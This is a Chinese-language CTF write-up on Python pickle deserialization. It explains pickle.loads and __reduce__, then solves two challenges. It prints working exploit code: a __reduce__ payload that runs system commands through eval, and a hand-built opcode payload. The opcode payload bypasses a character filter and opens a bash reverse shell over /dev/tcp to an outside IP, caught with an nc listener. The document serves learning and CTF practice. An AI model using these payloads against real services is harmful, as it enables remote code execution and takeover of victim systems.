简介:
与PHP类似,python也有序列化功能以长期储存内存中的数据。
pickle就是python下的序列化与反序列化包。
函数:
pickle.dump(obj, file):将对象序列化并保存到文件中。
pickle.dumps(obj):将对象序列化并返回字节流。
pickle.load(file):从文件中读取字节流并反序列化为对象。
pickle.loads(bytes_obj):将字节流反序列化为对象。
pickle.dumps()就类似于php中的serialize
pickle.loads()就类似于php中的unserialize
而pickle.dump和pickle.load就是利用到了文件
方法:
_reduce_()
reduce()方法很像php魔术方法中的wakeup(),他会在这个对象进行反序列化的时候自动调用。
_reduce_() 是Python中一种特殊方法,用于自定义对象的序列化和反序列化过程。当对象需要被序列化成字节流(如存储到文件或通过网络传输),或者从字节流中反序列化回来时,Python会调用该方法。
例题:
[HZNUCTF 2023 preliminary]pickle
进入题目后右键查看源代码
有三个路由
第一个
将app.py的内容呈现给我们
第二个:
在/calc下get一个payload,然后对其进行base64解码,过滤了os
然后利用pickle.loads反序列化
第三个:
在/readFile目录下get一个filename,过滤了flag,然后读取该文件
很明显是pickle反序列化,在/calc下传入序列化的字节流并写入到文件
在/readFilem下读取文件
exp:
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee a')",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
用_reduce_方法
(eval,("__import__('o'+'s').system('env | tee a')",))
用eval来执行命令
python中,os就是可以调用system的函数:
os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。
env命令用于显示系统中已存在的环境变量
但是由于eval函数没有回显,所以用tee将内容复制到a文件中
在/calc下写入
在/readFile下读取
[MTCTF 2022]easypickle
源代码:
需要session伪造admin
密钥需要爆破
得到密钥:
f322
然后就是pickle的部分
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
对我们传进去的ser_data进行关键字替换,base64解码后赋值给a;
然后进行if判断R,i,r,b是否存在于a中,如果存在就会报错
最后进行pickle反序列化
这里虽然需要用到的os传进去后会变成Os,但是他赋值给了a
而我们最后pickle.loads的是ser_data
所以这个替换其实没啥用
但是这个if语句还是有用的,不能有R,i,o,b
R指令被禁掉了
所以我们不能像上面那题一样用_reduce_()方法
因为这个方法的执行是需要R指令来执行的
所以这题需要手动构造opcode(有个编写opcode的工具,叫pker,目前还不会用)
第一次做还不太懂,直接看看别人的payload
(:向栈中压入一个MARK标记
S:push一个string
d:将栈顶MARK以前的元素弹出构造dict,再push回栈顶
c:获取一个全局对象或import一个模块,形式如c[module]\n[instance]\n
V: 读入一个字符串,以\n结尾,然后把这个字符串压进栈中,V操作码是可以识别\u的,所以可以用来读unicode编码
. : stop 结束
大概知道是啥意思了,现在把V操作码里的内容换成我们想要执行的命令就行
因为没有回显,所以用反弹shell
bash -c ‘sh -i > & /dev/tcp/124.222.15.153/2333 0>&1’
因为i会被检测到,所以才使用V操作码,将命令进行unicode编码
exp:
import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))
得到payload
伪造session,user为admin,ser_data为刚得到的payload
用nc监听,在题目cookie里发送
反弹成功拿flag即可
其他题目:
(有空再写)
[watevrCTF-2019]Pickle Store buu
[HFCTF 2021 Final]easyflask buu
总结:
第一次写python反序列化的题,有了初步的认识,后面遇到了相关题再慢慢学
这就是彭神
我要是有肖神一半实力就好了